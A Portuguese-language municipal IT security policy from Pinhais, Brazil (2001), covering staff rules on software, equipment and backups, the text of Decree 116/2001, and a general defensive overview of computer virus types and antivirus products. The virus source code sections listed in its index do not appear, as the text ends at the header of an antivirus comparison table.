

ÍNDICE

1. POLÍTICA DE SEGURANÇA DOS RECURSOS DE INFORMÁTICA	2
1.1. CONCEITO DE NORMAS OU PADRÕES	2
1.2. OBJETIVOS DESTES DOCUMENTOS	2
1.3. PADRÕES DE POSTURA	2
1.4. PROCEDIMENTOS GERAIS	3
1.4.1. Procedimento Quanto aos Softwares	3
1.4.2. Procedimentos Quanto ao Uso de Equipamentos - Hardwares	3
1.4.3. Procedimentos Quanto às Cópias de Segurança	4
1.5. DICAS PARA DURABILIDADE DOS EQUIPAMENTOS	4
1.6. DECRETO Nº 116, DE 11 DE SETEMBRO DE 2001	5
2. VÍRUS E ANTIVÍRUS	10
2.1. O QUE SÃO VÍRUS DE COMPUTADOR?	10
2.2. TIPOS DE VÍRUS DE COMPUTADOR	11
2.2.1. Vírus de Arquivos	11
2.2.2. Vírus de Sistema ou Vírus de Boot	11
2.2.3. Vírus Múltiplos	11
2.2.4. Vírus de Macro	12
2.2.5. Vírus Stealth ou Furtivo	12
2.2.6. Vírus Encriptados	12
2.2.7. Vírus Mutantes ou Polimórficos	12
2.3. PRECAUÇÕES	12
2.4. PROTEGENDO-SE CONTRA INFECÇÕES	13
2.5. PROGRAMAS ANTIVÍRUS	14
2.6. OS MELHORES ANTIVÍRUS	14
2.6.1. VirusScan	15
2.6.2. Norton Antivirus - NAV	15
2.6.3. Dr. Solomons Tool Kit	15
Lista dos principais antivírus do mercado com suas funções especiais	16
2.7. OUTROS CUIDADOS USANDO A INTERNET	16
2.8. MAIS PRECAUÇÕES	16
2.9. FICHA TÉCNICA COM AS CARACTERÍSTICAS DE ALGUNS VÍRUS	17
2.9.1. Halloween	17
2.9.2. Leandro & Kelly	17
2.9.3. Jerusalém/Anarkia	17
2.9.4. Bad.a	17
2.9.5. Father Christmas	18
2.10. PROGRAMAS FONTES DE VÍRUS	19
Programa fonte de um vírus de Macro	19
Outro programa fonte de um vírus de Macro	19
Programa fonte de um vírus em Pascal	20

1. Política de Segurança dos Recursos de Informática

da Prefeitura Municipal de Pinhais

Segunda Versão

Sujeita a alterações e sugestões

1.1. Conceito de Normas ou Padrões

Políticas de Segurança são normas, padrões, premissas, metas, regras ou semelhantes, que descrevem procedimentos, premissas gerenciais, objetivos e metas a alcançar, regras de operação e todas as demais especificações referentes a padrões a serem seguidos na Prefeitura de Pinhais com relação os recursos de Informática e a segurança dos dados, informações, dos próprios recursos e das pessoas.

Constituem, em geral, de textos ou dados tabelados, formando um conjunto de determinações que servem como guia para as operações da organização, em complemento aos programas, planos e projetos.

1.2. Objetivos Deste Documento

1. Organizar os documentos e produtos de Informática da Prefeitura.
2. Zelar pela uniformidade dos serviços de Informática e a segurança destes serviços.
3. Proporcionar um entendimento rápido e duradouro das regras e da metodologia e aspectos operacionais adotados.
4. Proporcionar que o usuário ache facilmente arquivos gerados no disco rígido e na rede, seja ela de que tipo for (LAN, Internet, Intranet...).
5. Assegurar que todos os documentos tenham aparência semelhante, ou até funcionalidade semelhante, permitindo assim, um treinamento e uma manutenção rápida e segura.
6. Estabelecer uma harmonia total de trabalho dos usuários de Informática dentro da prefeitura.

1.3. Padrões de Postura



Os procedimentos quanto à postura e ética, estão descritos na lei 370 de 1999 (Regime Jurídico e Estatuto dos Servidores) e no decreto 116 de setembro de 2001 (em anexo) da Prefeitura Municipal de Pinhais.

A lei 370/99 deve ser bem entendida por todos os servidores. Qualquer dúvida quanto à mesma deve ser tirada o mais rapidamente possível.

Na próxima página apresentamos a descrição dos padrões a serem adotados na Prefeitura de Pinhais com relação à Segurança e Utilização dos Recursos de Informática:

1.4. Procedimentos Gerais

1.4.1. Procedimento Quanto aos *Softwares*

1. Nenhum meio magnético assim como nenhum documento deve entrar ou sair da Prefeitura, sem o consentimento do Coordenador, Secretário ou da pessoa responsável pela área.
2. É proibido o uso de *softwares* não oficiais na empresa, salvo no caso de *shareware* (para teste), *freeware* ou de domínio público. Exceções, se houverem, devem ser tratadas diretamente com o Departamento de Modernização e Informática.
3. Toda e qualquer novo sistema ou necessidade de utilização de software que eventualmente não tenha sido adquirida, deve obrigatoriamente ser solicitada ao Departamento de Informática através do Sistema de Atendimento ao Usuário. A Departamento de Informática emitirá parecer sobre os recursos orçamentários necessários para execução dos projetos de informatização da Administração em geral.
4. Todos os contratos de Prestação de Serviços, Licenças de Uso de Software assim como os próprios softwares adquiridos devem ser enviados ao Departamento de Informática e ali depositados.
5. Os contratos acima descritos só podem eventualmente serem aprovados mediante assinatura conjunta do chefe do Dpto. de Informática, mesmo que os recursos financeiros para honra do contrato sejam das respectivas Secretarias.

1.4.2. Procedimentos Quanto ao Uso de Equipamentos - *Hardwares*

É necessário disciplinar o uso dos equipamentos, através de regras simples, que muitas vezes não são seguidas pelo desconhecimento de sua existência e necessidades.

1. É expressamente proibida a utilização de terminais de microcomputadores, por pessoas que não façam parte do quadro de servidores municipais de Pinhais, bem como pessoas que não sejam habilitadas para o uso sob pena de responsabilidade de uso indevido.
2. É expressamente proibida a utilização de terminais de microcomputadores após o expediente, sábados, domingos e feriados, sem prévia autorização do Departamento de Informática, pelo menos 24 horas antes da utilização, enviando pedido via CAU. Mesmo se os usuários forem utilizar nos dias e horas desautorizados, a segurança do Windows NT não permite que seja utilizado além das 19 horas em expediente normal, nem aos sábados e domingos. Portanto a prévia autorização é necessária para se habilitar a utilização na segurança do Windows NT.
3. É expressamente proibida a instalação nos computadores da Prefeitura de softwares (programas de computador) que não sejam de propriedade da Prefeitura Municipal de Pinhais, bem como jogos ou arquivos de cunho pessoal. Exceções devem ser requisitadas ao Departamento de Informática, assim como também toda instalação ou reinstalação de programas já existentes.

4. Nenhum microcomputador, impressora ou qualquer equipamento de informática pode ser remanejado entre setor/departamento sem prévio registro no CAU. Caso não exista o sistema CAU para registrar, um CAU de papel deve ser criado e enviado para o Departamento de Informática. O formulário de papel está na rede no diretório k:\dados\cau>manual (CAULIMPO.PDF).
5. O Departamento de Informática encarregar-se-á de sugerir e realizar o remanejamento de equipamentos entre os órgãos da Administração Direta e Indireta, sempre que necessário, visando a otimização dos recursos disponíveis.
6. Qualquer equipamento de informática para eventual manutenção deve permanecer no local até que o documento do Sistema de Atendimento ao Usuário enviado seja analisado pelo Departamento de Informática, que verificará a possibilidade de ir buscar o equipamento. Caso ache urgência no atendimento, o equipamento pode ser levado até o Departamento de Informática com o documento de atendimento anexo (CAU), ou pedir para que se faça um CAU no momento da recepção do equipamento.
7. É expressamente proibida, em qualquer hipótese, alteração de configuração e manutenção em equipamentos por pessoas ou profissionais que não sejam autorizados pelo Departamento de Informática.

1.4.3. Procedimentos Quanto às Cópias de Segurança

Tudo que for necessário que seja efetuado backup (cópia de segurança), deve ser gravado na rede. Caso haja algum arquivo de extensão EXE ou de extensão desconhecida que necessite de backup, avisar o Departamento de Informática para que inclua estes arquivos.

1.5. Dicas para Durabilidade dos Equipamentos

1. Ao finalizar as atividades, terminar o programa que estava executando, fechar a sessão e desligar o computador. No caso de rede, executar logout e desligar a máquina. No caso de DOS/Windows, fechar todos os aplicativos, tirando o máximo possível da memória e desligar a máquina. Caso sua máquina esteja com uma impressora compartilhada para ser utilizada por outras pessoas do setor, deixar a máquina ligada, mas no login para entrada de senha. Quem sair por último da sala é que deve desligar a máquina da impressora.
2. Quando ligar os equipamentos, SEMPRE ligar primeiro os periféricos (vídeo, impressora, scanner, Zip-drive...) e depois a CPU.
3. Quando for desligar a(s) máquina(s), proceder de forma inversa. Isto é, desligar primeiro a CPU e depois os periféricos.
4. Ao efetuar o corte do papel de impressoras de rolo, sempre pular uma página, evitando-se assim papéis pela metade que não servem nem para borrão. Exceção neste caso para impressoras que efetuem o salto automático de papel (ex.: EPSON LX 810, Epson LX 300...).
5. NUNCA mudar o trator esquerdo na impressora matricial, e sim alinhar seu documento.

1.6. DECRETO Nº 116, DE 11 DE SETEMBRO DE 2001

“Dispõe sobre o Regimento Interno de Tecnologia – RITEC, para utilização de informática”.

O PREFEITO MUNICIPAL DE PINHAIS, Estado do Paraná,

DECRETA

Art 1º Fica instituído o Regimento Interno de Tecnologia – RITEC, para utilização de informática na Prefeitura Municipal de Pinhais.

Art 2º O disposto neste Decreto abrange todo o quadro de servidores da Prefeitura Municipal de Pinhais, efetivos, comissionados, celetistas e estagiários.

CAPÍTULO I DAS INFORMAÇÕES

Art 3º Entende-se por *Informações Privadas* como aquelas relativas à pessoa física ou jurídica, institucional, informativa, formativa ou cadastral da Prefeitura, identificada ou identificável.

Art 4º O acesso às informações deverá ser liberado e monitorado dentro das áreas onde estão instalados equipamentos que armazenem dados corporativos, restrito aos responsáveis pela área de informática.

§ 1º Entende-se por *Dados Corporativos* aqueles que são disponibilizados para acesso a todos os funcionários da Prefeitura.

§ 2º O acesso às informações e uso dos sistemas deverá ser disponibilizado somente no horário do expediente da Prefeitura, exceto quando houver prévia solicitação por parte do responsável pela informação.

§ 3º Entende-se por *Dados Restritos* as informações de domínio e inerente a uma determinada área dentro da Prefeitura.

§ 4º Para a área geradora da informação é repassada a responsabilidade pela criação, disponibilização e manutenção dos dados que geram a informação.

Art 5º As informações armazenadas em qualquer tipo de mídia, geradas em forma de documento de pesquisa, planilhas ou a partir dos sistemas de informações instalados na Prefeitura, poderão somente ser veiculadas nas áreas geradoras e envolvidas, direta ou indiretamente, com a informação e na esfera da Administração Pública Municipal.

Art 6º A coleta, o processamento e a distribuição de informações de propriedade da Prefeitura ficam sujeitas à expressa e prévia aquiescência das a que se referem, que poderá ser tornada sem efeito a qualquer momento.

Art 7º Os serviços de informações ou de acesso a bancos de dados não distribuirão informações privadas referentes, direta ou indiretamente, ao perfil sócio-econômico a qualquer entidade pública ou privada, salvo autorização expressa do interessado.

Art 8º Nenhum servidor poderá ou será obrigado a fornecer informações de qualquer natureza, salvo nos casos previstos em Lei.

CAPÍTULO II DAS PROIBIÇÕES

SEÇÃO I DAS ALTERAÇÕES

Art 9º Fixa expressamente proibido realizar quaisquer alterações no âmbito da área de informática, indevidamente ou sem autorização.

§ 1º Apagar, destruir, modificar ou de qualquer forma inutilizar, total ou parcialmente:

- I - Dados;
- II - Programas de computador;
- III - Senhas ou mecanismo de acesso a computadores.

§ 2º Criar, desenvolver ou inserir dados e programas visando apagar, destruir, inutilizar, dificultar ou modificar a utilização de computadores ou rede de computadores.

§ 3º Romper lacres de segurança, existentes nos equipamentos de informática.

§ 4º Retirar ou remanejar equipamentos de informática, meios magnéticos, ópticos ou similares da Prefeitura, sem prévia solicitação à área de informática, através do Sistema de Atendimento ao Usuário ou similar.

SEÇÃO II DOS DIREITOS DA PREFEITURA

Art 10. Fica proibido tomar posse de sistema exclusivamente de direito da Prefeitura relativos aos programas de computador, desenvolvidos e elaborados durante a vigência de contratos ou de vínculos estatutários.

Art 11. Fica proibido violar o direito do autor do programa ou reprodução por qualquer meio, de todo ou em parte, para fins de comércio.

Art 12. Fica proibido desenvolver sistemas de informação usando recursos de informática da Prefeitura.

SEÇÃO III DOS CONTRATOS

Art 13. Os contratos de prestação de serviços, licenças de uso de software e outros similares ficarão sob responsabilidade da área de informática.

Art 14. O uso de programas de computador dentro da Prefeitura será objeto de contrato de licença.

SEÇÃO IV DA UTILIZAÇÃO

Art 15. Fica proibido o uso de serviços e informações de caráter pessoal armazenados em computadores, computadores servidores, meios eletrônicos magnéticos ou similares, quando de propriedade da Prefeitura.

Art 16. No que concerne à utilização, fica proibido sem a autorização da área de informática:

§ 1º O uso de softwares não oficiais, salvo casos de domínio público.

§ 2º Instalação de um novo sistema ou necessidade de utilização de software não adquirido pela Prefeitura, devendo ocorrer à prévia solicitação a área responsável pela informática.

§ 3º Uso de computadores ou rede de computadores por pessoas que não façam parte do quadro de servidores da Prefeitura ou inabilitadas para tal.

§ 4º Uso de computadores ou rede de computadores fora do horário do expediente, sem prévia autorização via sistema de atendimento ao usuário ou similar.

§ 5º A área de informática divulgará política de segurança e política de acesso aos dados, a fim de manter a integridade das informações armazenadas, assim como garantir a disponibilidade dos recursos.

SEÇÃO V DA MANUTENÇÃO

Art 17. Torna-se necessário o uso do sistema de atendimento ao usuário ou similar, para solicitações de instalação de sistemas, softwares ou manutenção de equipamentos.

Parágrafo único. Em caso de impossibilidade de utilização de computador para fazer a solicitação tornar-se-á necessário a solicitação por meio escrito.

Art 18. Fica proibida a alteração, configuração ou manutenção de equipamentos de informática por pessoas não habilitadas ou autorizadas pela área de informática.

Parágrafo único. Qualquer modificação deverá ser solicitada via sistema de atendimento ao usuário.

Art 19. Fica proibida a utilização de equipamentos de propriedade pessoal nas dependências da Prefeitura.

Art 20. Quando os responsáveis pela área de informática necessitarem efetuar manutenção em equipamentos de outros setores fora do horário de expediente, tornar-se-á necessário à prévia comunicação por meio escrito.

Art 21. É de responsabilidade da área de informática a manutenção periódica nos discos que armazenam informações instalados nos computadores servidores, a fim de prevenir falhas e liberar espaços para armazenamento.

**SEÇÃO VI
DAS PENALIDADES**

Art 22. O não cumprimento das disposições previstas neste Decreto implicará em sanções previstas no Artigo 111 e subsequentes da Lei n.º 370, de 1.999, aplicadas de conformidade com a natureza da infração praticada:

- I - Advertência;
- II - Suspensão;
- III - Exoneração;
- IV - Cassação de aposentadoria.

Art 23. Este Decreto entra em vigor na data de sua publicação.

PREFEITURA MUNICIPAL DE PINHAIS, 11 de Setembro de 2001.

LUIZ CASSIANO DE CASTRO FERNANDES
Prefeito Municipal

2. VÍRUS E ANTIVÍRUS

2.1. O que são vírus de computador?

Efetivamente, vírus não surgem do nada no seu computador. Eles são escritos por alguém e colocados em circulação até atingirem o seu computador através de um programa ou disquete infectado. Um vírus é um pequeno programa que se autocopia e / ou faz alterações em outros arquivos e programas, de preferência sem o seu conhecimento e sem autorização.

As manifestações dos vírus podem ser as mais diversas como mostrar mensagens, alterar determinados tipos de arquivos, diminuir a performance do sistema, deletar arquivos, corromper a tabela de alocação ou mesmo apagar todo o disco rígido. Um vírus é basicamente um conjunto de instruções com dois objetivos básicos: Se atracar a um arquivo para posteriormente se disseminar sistematicamente de um arquivo para outro, sem a permissão ou comando do usuário nesse sentido. Eles são, portanto, auto-replicantes. Além disso, os vírus contêm instruções objetivas no sentido de concretizar uma intenção do seu criador (mostrar mensagens, apagar o disco, corromper programas etc.).

Usualmente eles se multiplicam a partir de um arquivo ou disquete infectado. Quando você roda um arquivo infectado ou inicializa um computador com um disco infectado, o vírus alcança a memória do seu computador. Dali ele passa a infectar outros arquivos, normalmente os chamados arquivos executáveis (extensão .COM e .EXE), podendo também infectar outros arquivos que sejam requisitados para a execução de algum programa, como os arquivos de extensão .SYS, .OVL, .OVY, .PRG, .MNU, .BIN, .DRV.

Entretanto já existem vírus que infectam arquivos de dados, como os arquivos do Word (.DOC) e excel (.XLS). Chamado de Macrovírus, eles são uma nova categoria de vírus de computador que atacam arquivos específicos não executáveis, ao contrário do que ocorria anteriormente, quando tais arquivos jamais eram infectados. Outra capacidade inédita destes tipos de vírus é a sua disseminação multiplataforma, infectando de um tipo de sistema (Windows e Mac, por exemplo).

É difícil termos um número exato dos tipos de vírus, porque literalmente vírus novos surgem a cada dia. Pois além do estimado de quase 20.000 vírus (com um incremento de cerca de 100 novos por mês), os pesquisadores de vírus utilizam-se de critérios diferentes para classificar os vírus conhecidos. Entretanto, apesar do enorme número de espécies conhecidas, apenas uma pequena parcela é a responsável por quase totalidade dos registros de infecções no mundo (estima-se cerca de 98%).

Existem vírus que não têm por objetivo provocar danos reais ao seu computador, por exemplo, vírus que nada façam além de apresentar mensagens em um determinado dia podem ser considerados benignos. Em sentido oposto, malignos seriam os vírus que infligem danos ao seu computador. Entretanto, muitos vírus que causam danos não o fazem intencionalmente. Muitas vezes são conseqüências de erros de programação do criador ou bugs.

Um vírus maligno pode provocar:

- erros na hora de execução de um programa;
- baixa de memória;
- lentidão para entrar em programas;
- danificação de dados;
- danificação de drives;
- formatação indesejada do HD;
- alocação desnecessária da memória do computador .

2.2. Tipos de Vírus de Computador

2.2.1. Vírus de Arquivos

Esse tipo de vírus agrega-se a arquivos executáveis (normalmente extensão COM e EXE), embora possam também infectar arquivos que sejam requisitados para a execução de algum programa, como os arquivos de extensão SYS, DLL, PRG, OVL, BIN, DRV (esta última é a extensão dos arquivos que controlam o funcionamento do mouse, do CD-ROM, da impressora, do scanner ...).

Arquivo de extensão SCR, que é a extensão dos screen saver (protetores de tela), também podem ser infectado, pois estes arquivos são, na verdade, executáveis comuns, salvos com outra extensão. Isto é feito para que o Windows possa reconhecer automaticamente esse tipo de arquivo.

Neste tipo de virose, programas limpos normalmente se infectam quando são executados com o vírus na memória em um computador corrompido.

2.2.2. Vírus de Sistema ou Vírus de Boot

Infectam códigos executáveis localizados nas áreas de sistema do disco. Todo drive físico, seja disco rígido, disquete ou cd-rom, contém um setor de boot. Esse setor de boot contém informações relacionadas à formatação do disco, dos diretórios e dos arquivos armazenados nele.

Além disso pode conter um pequeno programa chamado de programa de boot (responsável pela inicialização do sistema), que executa a "carga" dos arquivos do sistema operacional (o DOS, por exemplo). Contudo, como todos os discos possuem área de boot, o vírus pode esconder-se em qualquer disco ou disquete, mesmo que ele não seja de inicialização ou de sistema (de boot).

Uma explicação técnica

O primeiro setor físico (track 0, sector 1, head 0) de qualquer disco rígido de um PC, contém o Registro de Partida e a Tabela de Alocação de Arquivos (FAT). Os vírus de MBR (Master Boot Record) atacam esta região dos discos rígidos e se disseminam pelo setor de boot do disco. Quando a FAT é corrompida, por exemplo, você perde o acesso à diretórios e arquivos, não porque eles foram atacados, mas porque o seu computador não consegue mais acessá-los.

Observações

Track ou Trilha: uma série de anéis concêntricos finos em um disco magnético, que a cabeça de leitura / gravação acessa e ao longo da qual os dados são armazenados em setores separados.

Sector ou Setor: menor área em um disco magnético que pode ser endereçada por um computador. Um disco é dividido em trilhas, que por sua vez são divididos em setores que podem armazenar um certo número de bits.

Head ou Cabeça: transdutor que pode ler ou gravar dados da e na superfície de um meio magnético de armazenamento, como um disquete ou um winchester.

2.2.3. Vírus Múltiplos

São aqueles que visam tanto os arquivos de programas comuns como os setores de Boot do DOS e / ou MBR. Ou seja, correspondem a combinação dos dois tipos descritos acima. Tais vírus são relativamente raros, mas o número de casos aumenta constantemente. Esse tipo de vírus é extremamente poderoso, pois pode agir tanto no setor de boot infectando arquivos assim que eles forem usados, como pode agir como um vírus de ação direta, infectando arquivos sem que eles sejam executados.

2.2.4. Vírus de Macro

É a categoria de vírus mais recente, ocorreu pela primeira vez em 1995, quando aconteceu o ataque do vírus CONCEPT, que se esconde em macros do processador de textos MicroSoft WORD.

Esse tipo de vírus se dissemina e age de forma diferente das citadas acima, sua disseminação foi rápida especialmente em função da popularidade do editor de textos Word (embora também encontramos o vírus na planilha eletrônica Excel, da própria MicroSoft).

Eles contaminam planilhas e documentos (extensões XLS e DOC). São feitos com a própria linguagem de programação do Word. Entretanto a tendência é de que eles sejam cada vez mais eficazes, devido ao fato da possibilidade do uso da linguagem Visual Basic, da própria MicroSoft, para programar macros do Word.

O vírus macro é adquirido quando se abre um arquivo contaminado. Ele se autocopia para o modelo global do aplicativo, e, a partir daí, se propaga para todos os documentos que forem abertos. Outra capacidade inédita deste tipo de vírus é a sua disseminação multiplataforma, infectando mais de um tipo de sistema (Windows e Mac, por exemplo).

2.2.5. Vírus Stealth ou Furtivo

Por volta de 1990 surgiu o primeiro vírus furtivo (ou stealth, inspirado no caça Stealth, invisível a radares). Esse tipo de vírus utiliza técnicas de dissimulação para que sua presença não seja detectada nem pelos antivírus nem pelos usuários. Por exemplo se o vírus detectar a presença de um antivírus na memória, ele não ficará na atividade. Interferirá em comandos como Dir e o Chkdsk do DOS, apresentando os tamanhos originais dos arquivos infectados, fazendo com que tudo pareça normal. Também efetuam a desinfecção de arquivos no momento em que eles forem executados, caso haja um antivírus em ação; com esta atitude não haverá detecção e conseqüente alarme.

2.2.6. Vírus Encriptados

Um dos mais recentes vírus. Os encriptados são vírus que, por estarem codificados dificultam a ação de qualquer antivírus. Felizmente, esses arquivos não são fáceis de criar e nem muito populares.

2.2.7. Vírus Mutantes ou Polimórficos

Têm a capacidade de gerar réplicas de si mesmo utilizando-se de chaves de encriptação diversas, fazendo que as cópias finais possuam formas diferentes. A polimorfia visa dificultar a detecção de utilitários antivírus, já que as cópias não podem ser detectadas a partir de uma única referência do vírus. Tal referência normalmente é um pedaço do código virótico, que no caso dos vírus polimórficos varia de cópia para cópia.

2.3. Precauções

O ideal seria jamais ser infectado, mas pode-se afirmar que nenhum computador está imune aos vírus e que não existem programas que possam nos dar 100% de proteção para todos os tipos de vírus. Portanto, é preciso ficar atento com as possibilidade do computador ser contaminado. É muito importante detectar o vírus antes que ele provoque danos ao seu sistema.

Um vírus sempre objetiva se disseminar o máximo possível até ser descoberto ou deflagrar um evento fatal para o qual foi construído, como por exemplo apagar todo disco rígido. Entretanto, é comum o aparecimento de alguns sintomas quando o computador está infectado, sendo que muitos deles são propositadamente incluídos na programação dos vírus pelos próprios criadores, como: mensagens, músicas, ruídos ou figuras e desenhos.

Usualmente, os vírus provocam alterações na performance do sistema e principalmente, costumam alterar o tamanho dos arquivos que infectam. Uma redução na quantidade de memória disponível pode também ser um importante indicador de virose. Atividades demoradas no disco rígido e outros comportamentos suspeitos do seu hardware podem ser

causados por vírus, mas também podem ser causadas por softwares genuínos, por programas inofensivos destinados a brincadeiras ou por falhas e panes do próprio hardware.

Todos os sintomas descritos não são provas ou evidências da existência de vírus, entretanto, deve-se prestar atenção às alterações do sistema nesse sentido. Para um nível maior de certeza é essencial ter um antivírus com atualização recente, já que a lista de vírus aumenta constantemente. Para evitar contaminação é indispensável checar disquetes desconhecidos com um antivírus antes de inseri-los no computador. Pois, muitas vezes sequer é necessário abrir arquivos ou rodar um programa a partir de um disquete contaminado para infectar o computador. Pelo fato de todos os discos e disquetes possuírem uma região de boot (mesmo os que não são inicializáveis), basta o computador inicializar ou tentar a inicialização com um disquete contaminado no drive para abrir caminho para a disseminação. Um vírus pode atacar o programa de antivírus instalado no computador, portanto sempre é bom ter à mão um disquete "limpo" de boot com a inicialização do sistema operacional e um antivírus que possa ser rodado a partir dele.

Outra recomendação bastante importante: ao fazer um download de algum arquivo na Internet ou BBS, antes de executar o programa, é preciso testá-lo com o antivírus de sua preferência.

Atenção: Lembre-se que os arquivos compactados (extensão como por exemplo ZIP, ARJ ou LHA) podem estar infectados. Na realidade não existe nenhum tipo de vírus que possa infectar os arquivos com essa extensão, mas não são raros os lotes de arquivos compactados que contenham pelo menos UM arquivo executável ou algum documento do MicroSoft Word ou Excel. Como regra de prudência, é melhor descompactá-lo em um diretório isolado e testá-lo com o antivírus de sua preferência.

2.4. Protegendo-se Contra Infecções

Algumas medidas podem ser tomadas para nos proteger de infecções, são elas:

1. Tenha certeza de utilizar a proteção de um bom software Antivírus. A proteção será mais eficaz se for utilizada a última versão disponível no mercado (os principais fabricantes atualizam seus softwares em média a cada 30 ou 60 dias);
2. Se seu produto antivírus possuir um módulo de auto-proteção, deixe a opção sempre ligada, mesmo nos casos de instalação de novos programas, que muitas vezes pedem para o usuário encerrar todos os programas que estejam em uso antes da instalação (desligue todos os aplicativos em uso menos a auto-proteção);
3. Sempre faça checagem em cada arquivo que receber, seja por meio de um disquete, Internet ou de qualquer outra forma;
4. Se você possui a versão Word 95a, Word 97, Word 2000 ou Word XP, habilite a proteção interna contra vírus da seguinte maneira:
 1. Selecione o menu Ferramentas depois Opções;
 2. Clique em Geral;
 3. Após selecione Ativar Proteção contra Vírus de Macro;
 4. Se você vai fazer um upgrade para o Word 2000, e fez poucas alterações no modelo NORMAL.DOT, considere a possibilidade de deletar o mesmo antes de fazer o upgrade, pois é nele que os vírus de macros ficam armazenados.
5. A maioria dos vírus de macro ataca infectando o modelo NORMAL.DOT, se você usa a versão 2000, poderá proteger o seu arquivo com uma senha, assim só quem souber a senha poderá fazer qualquer tipo de uma alteração nesse modelo. Para fazer isso siga os seguintes passos:
 1. No menu Ferramentas, clique em Macro, depois de um clique na sub-opção Editor do Visual Basic;
 2. No menu Exibir escolha Project Explorer, irá abrir uma janela;
 3. Na janela, clique com o botão direito do mouse, sobre a opção Normal, depois Propriedades;
 4. Selecione a aba Proteção;
 5. Deixe selecionado o CHECK-BOX: Protege projeto para visualização;
 6. Informe a senha que você desejar;
 7. Clique no botão [OK] e saia do Editor do Visual Basic.
 8. Pronto, agora toda a vez que alguém quiser fazer alguma alteração na configuração do Word, será necessário informar a senha, ou seja, os vírus de macros não poderão alterar o seu sistema e nem entrar.

2.5. Programas Antivírus

São programas utilizados para detectar vírus num computador ou disquete. A maioria usa método simples de procura por uma seqüência de bytes que constituem o programa vírus. Desde que alguém tenha detectado e analisado a seqüência de bytes de um vírus, é possível escrever um programa que procura por essa seqüência. Se existe algo parecido, o programa antivírus anuncia que encontrou um vírus. O antivírus, por sua vez, funciona como uma vacina dotada de um banco de dados que cataloga milhares de vírus conhecidos. Quando o computador é ligado ou quando o usuário deseja examinar algum programa suspeito, ele varre o disco rígido em busca de sinais de invasores.

Quando um possível vírus é detectado, o antivírus parte para o extermínio. Alguns antivírus conseguem reparar os arquivos contaminados, entretanto nem sempre isso é possível. Muitas vezes a única saída é substituir o arquivo infectado pelo mesmo arquivo "clean" do software original, ou de outro computador com programas e sistema operacional idênticos ao infectado. Dependendo do vírus e das proporções dos danos ocasionados pela virose, apenas alguém que realmente compreenda do assunto poderá limpar o seu computador e, se possível, recuperar os arquivos afetados.

Alguns antivírus são dotados de alguns recursos especiais, são eles:

Tecnologia Push: atualiza a lista de vírus. Ao conectar-se à INTERNET, o micro aciona o software Backweb, que busca automaticamente novas versões da lista de vírus no site da McAfee sem a necessidade do usuário fazer downloads manuais.

ScreenScan: Varre o disco rígido enquanto o micro está ocioso. Funciona da seguinte maneira: toda vez que o screen saver é acionado, o VirusScan entra em ação. Além de não atrapalhar a rotina do usuário, evita a queda de desempenho do PC.

2.6. Os Melhores Antivírus

Após o computador ser infectado por um vírus, a única solução são esses programas. Alguns antivírus conseguem reparar os arquivos contaminados, entretanto nem sempre isso é possível. Muitas vezes, neste caso, o arquivo infectado pode e deve ser substituído pelo mesmo arquivo "clean" do software original ou de outro computador com programas e sistema operacional idênticos ao infectado. Mas, muitas vezes, dependendo do vírus e da extensão dos danos ocasionados pela virose, apenas alguém que realmente compreenda do assunto poderá desinfetar o seu computador e recuperar os arquivos (quando possível). No processo de descontaminação do computador é importante checar todos os seus disquetes, mesmo aqueles com programas e drives originais a fim de evitar uma recontaminação.

Existem muitos programas antivírus que podem ser adquiridos no formato shareware em sites de pesquisadores, empresas ou em BBS. As versões shareware são programas que normalmente não possuem todas as funções da versão comercial plena, eventualmente estas versões possuem tempo de uso limitado, a vantagem é que geralmente são gratuitas.

Não basta apenas instalar um bom antivírus no computador para estar livres desses invasores para sempre, pois, como já foi dito anteriormente, cerca de 100 novos vírus surgem todos os meses, então é preciso estar sempre atualizado. A maioria dos antivírus oferecem atualizações mensais ou bimestrais que podem ser adquiridas gratuitamente por até um ano, por quem comprou o antivírus.

A seguir serão apresentados alguns dos mais conhecidos e usados antivírus, aconselho ter UM deles no seu computador, porém o ideal é pelo menos DOIS. Escolha o seu na lista a seguir:

2.6.1. VirusScan

O VirusScan, produzido pela McAfee, é o antivírus mais conhecido do mundo. É possível encontrar versões para vários sistemas operacionais desde o MS-DOS até o Windows. O antivírus possui mais de 10.000 vírus listados.

As novas versões desse programa possuem um sistema chamado de Hunter (Caçador), que possui uma execução multiponto de 32 bits projetada para utilizar os avanços mais atuais em termos de memória e gerenciamento de hardware, conferindo ao software um alto nível de detecção de vírus e rápido rastreamento. Quando entra em ação o sistema cruza informações sobre comportamentos virais para detectar invasores não catalogados. O Hunter é um sistema inteligente, que utiliza webcasting para atualizar seus registros via Internet.

O software possui um módulo chamado ScreenScan que lança automaticamente o programa de análise quando se ativa o protetor de tela, ou seja, enquanto sua máquina estiver ligada e você não estiver trabalhando o programa procura sozinho por vírus.

Além disso, devido ao aumento dos Applets Hostis, a McAfee está lançando uma nova versão do VirusScan, trata-se do WebScanX, especializado em policiar o comportamento de aplicações Java, ActiveX e programas que "viajam" de carona em mensagens de e-mail.

2.6.2. Norton Antivirus - NAV

Produzido pela Symantec, o Norton AntiVirus (também conhecido como NAV) ganhou a confiança de seus usuários, e passou a ser um mais usados atualmente, principalmente no Brasil.

Possui mais de 10 mil vírus listados, além de um sistema de procura por desconhecidos. Mas o que chama a atenção na sua nova versão é um sistema desenvolvido especialmente para o Netscape Navigator, que monitora a presença de vírus durante a realização de download de arquivos na Internet. Se um vírus for encontrado ele automaticamente trata de reparar o arquivo que está sendo baixado.

Tem detecção polifórmica, que utiliza um compartimento de limpeza virtual, no qual os vírus mutantes são introduzidos antes que possam atuar sobre os arquivos no disco rígido. Além disso também trabalha em segundo plano vigiando a entrada de invasores (auto-proteção).

2.6.3. Dr. Solomons Tool Kit

Possui mais de 13.000 vírus listados. Um dos destaques do kit é o módulo MailGuard, que foi desenvolvido para proteger o computador dos vírus que chegam pela Internet ou correios eletrônicos, como o Lotus Notes e o Microsoft Exchange. O sistema elimina automaticamente o vírus, caso ele seja encontrado.

Mas o que está fazendo deste antivírus ficar conhecido, e ter o seu uso cada vez mais constante, é um teste publicado pela revista americana PC Magazine, que mostra que o DR. Solomon's é o primeiro antivírus que detecta 100% dos vírus eletrônicos. Segundo a revista, o antivírus, na versão para o Windows NT, detectou todos os Vírus de Macros e Polifórmicos conhecidos.

Também possui um módulo, que trabalha em segundo plano, que fica constantemente procurando por vírus enquanto você trabalha.

Lista dos principais antivírus do mercado com suas funções especiais

ANTIVÍRUS	VERIFICA ARQUIVOS DURANTE DOWNLOADS	VERIFICA ARQUIVOS ANEXADOS EM E-MAIL	VERIFICA ARQUIVOS COMPACTADOS
